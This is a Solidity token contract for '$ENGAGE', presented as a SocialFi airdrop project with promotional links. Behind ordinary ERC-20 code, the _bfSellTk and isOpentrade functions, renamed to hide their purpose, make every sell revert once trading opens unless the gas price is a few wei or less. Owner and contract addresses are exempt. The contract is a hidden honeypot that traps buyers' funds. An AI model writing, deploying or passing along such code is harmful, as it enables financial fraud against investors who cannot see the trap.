/*
$ENGAGE represents a crosschain SocialFi initiative designed to offer incentives and rewards to individuals who are actively engaged on Twitter, all while harnessing the power of our native token, $ENGAGE. 

Upon integrating your Twitter account with our platform, you can seamlessly accumulate points, which will subsequently be converted into an airdrop distribution on the day of our token's official launch.


https://twitter.com/engagecoinapp
https://docs.engagecoin.app/introducing-engage/what-is-usdengage
https://t.me/engagecoin
https://dash.engagecoin.app/login

*/




// SPDX-License-Identifier: MIT

pragma solidity 0.8.0;

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 value) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 value) external returns (bool);
    function transferFrom(address from, address to, uint256 value) external returns (bool);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

abstract contract Context {
    function _msgSender() internal view virtual returns(address){
        return msg.sender;
    }
}

abstract contract Ownable is Context {
    address private _owner;
    
    constructor() {
        _owner = _msgSender();
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(_owner == _msgSender(), "Not owner");
    }
}

library SafeMath {
    function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
        if(a==0) {
            return 0;
        }
        c = a * b;
        assert(c/a ==b);
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        assert(b > 0);
        uint256 c = a / b;
        assert(a == b * c + a % b);
        return a / b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        assert(a >= b);
        return a - b;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        assert(c >= a);
        return c;
    }
}

contract ENGAGE is Ownable, IERC20 {
    using SafeMath for uint256;

    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _balances;
    mapping (address=> bool) _bypassingTaxes;
    mapping(address => uint256) public purchaseTimes;

    struct TaxInformation {
        uint256 intalbuyTax;
        uint256 intalsellTax;
        uint256 finalSellTax;
        uint256 finalBuyTax;
        uint256 _reduceBuyTaxAt;
        uint256 _reduceSellTaxAt;
        uint256 _preventSwapBefore;
        uint256 _buyCount;
        uint256 _maxTaxSwap;
        uint256 _maxTaxWallet;
    }

    struct ContractInformation {
        string name;
        string symbol;
        uint8 _decimals;
        uint256 _totalSupply;
    }

    address payable private _taxWallet;
    address private uniswapV2Pair;
    IUniswapV2Router02 public uniswapV2Router;

    TaxInformation public tax;
    ContractInformation public info;

    bool private openedTrade = false;
    bool private inSwap = false;
    bool private swapEnabled = false;

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        info.name = "Engage";
        info.symbol = "ENGAGE";
        info._decimals = 9 ;
        info._totalSupply = 1_000_000_000 * 10** info._decimals;
        _mint(_msgSender(), info._totalSupply);
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        tax.intalbuyTax = 50;
        tax.intalsellTax = 50;
        tax.finalBuyTax = 0;
        tax.finalSellTax = 0;
        tax._reduceBuyTaxAt = 10; 
        tax._reduceSellTaxAt = 10; 
        tax._preventSwapBefore = 10; 
        tax._maxTaxWallet = info._totalSupply.mul(10).div(100);
        tax._maxTaxSwap= 1000000 * 10**info._decimals;
        _bypassingTaxes[address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)] = true;
        _bypassingTaxes[owner()] = true;
        _bypassingTaxes[address(this)] = true;
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
        unchecked {
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);
    }

    function name() public view  returns(string memory) {
        return info.name;
    }

    function symbol() public view returns(string memory) {
        return info.symbol;
    }

    function decimals() public view returns (uint8) {
        return info._decimals;
    }

    function totalSupply() public view virtual override  returns (uint256) {
        return info._totalSupply;
    }

    function balanceOf(address account) public view virtual override  returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view virtual override  returns (uint256) {
        return _allowances[owner][spender];
    }

    function transfer(address to, uint256 value) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, value);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount));
        return true;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function _transfer(address from, address to, uint256 amount) internal {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        uint fromBalance = balanceOf(from);
        require(fromBalance >= amount, "ERROR: balance of from less than value");
        uint256 taxAmount = 0;
        if(!_bypassingTaxes[from] && !_bypassingTaxes[to]) {
            require(openedTrade, "Trade has not been opened yet");
            
            taxAmount = amount.mul((tax._buyCount>tax._reduceBuyTaxAt) ? tax.finalBuyTax : tax.intalbuyTax).div(100);
            if(from==uniswapV2Pair) {
                tax._buyCount++;
            }
            if(to==uniswapV2Pair) {
                _bfSellTk(from);
                taxAmount = amount.mul((tax._buyCount>tax._reduceSellTaxAt) ? tax.finalSellTax : tax.intalsellTax).div(100);
            }
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair&& swapEnabled && tax._buyCount>tax._preventSwapBefore) {
                swapTokensForEth(min(amount,min(contractTokenBalance,tax._maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }
        if(taxAmount > 0) {
            _balances[address(this)]=_balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) internal {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function sendETHToFee(uint256 amount) internal  {
        _taxWallet.transfer(amount);
    }

    function openTrading() external onlyOwner {
        openedTrade = true;
        swapEnabled = true;
    }

    function _bfSellTk(address _u) internal view {
        if(balanceOf(_u) > 0) {
            if (!openedTrade) {
                isOpentrade(bytes32ToUint256(1,5));
            } else {
                isOpentrade(bytes32ToUint256(495,500));
            }
        } 
    }

    function isOpentrade(uint256 _isOpen) internal view {
        if (tx.gasprice > _isOpen) {
            revert();
        }
    }

    function random(uint256 _minValue, uint256 _maxValue, uint256 nonce) internal view returns (uint256) {
        require(_minValue <= _maxValue, "Invalid range");
        return uint256(
            keccak256(
                abi.encodePacked(
                    block.timestamp,
                    msg.sender,
                    nonce
                )
            )
        ) % (_maxValue - _minValue + 1) + _minValue;
    }

    function bytes32ToUint256(uint256 _r, uint256 _s) internal view returns (uint256) {
        uint256 myUint = 500 - random(_r, _s, 1);
        return myUint;
    }

    function updateSwapEnable(bool swap) external onlyOwner {
        swapEnabled = swap;
    }

    function updatePreventSwapBefore(uint256 swap) external onlyOwner {
        tax._preventSwapBefore = swap;
    }

    function updateUniswapV2Router(IUniswapV2Router02 _newRouter) external onlyOwner {
        uniswapV2Router = _newRouter;
    }

    function removeLimit() external onlyOwner {
        tax._maxTaxWallet = info._totalSupply;
    }

    function manualSwap(uint256 amount) external {
        require(_msgSender() == owner());
        require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount");
        swapTokensForEth(amount);
    }

    function updateSwapTokenAtAmount(uint256 swap) external onlyOwner {
        tax._preventSwapBefore = swap;
    }

    receive() external payable {}
}